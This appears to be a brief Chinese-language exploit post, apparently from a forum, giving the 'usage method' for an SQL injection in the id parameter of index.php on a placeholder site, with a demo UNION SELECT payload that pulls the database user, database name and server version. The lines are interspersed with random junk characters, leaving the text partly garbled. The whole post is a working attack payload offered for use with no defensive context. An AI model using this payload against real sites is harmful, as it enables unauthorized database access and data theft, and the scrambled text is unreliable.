利用方法:+ T1 i- E- X, n- ~3 u& K ^6 G& e
http://www.xxx.com/index.php?id=[SQL]) O: B3 A% \0 a1 D
Demo:
S* y, v+ Z" J2 [& ~4 O http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |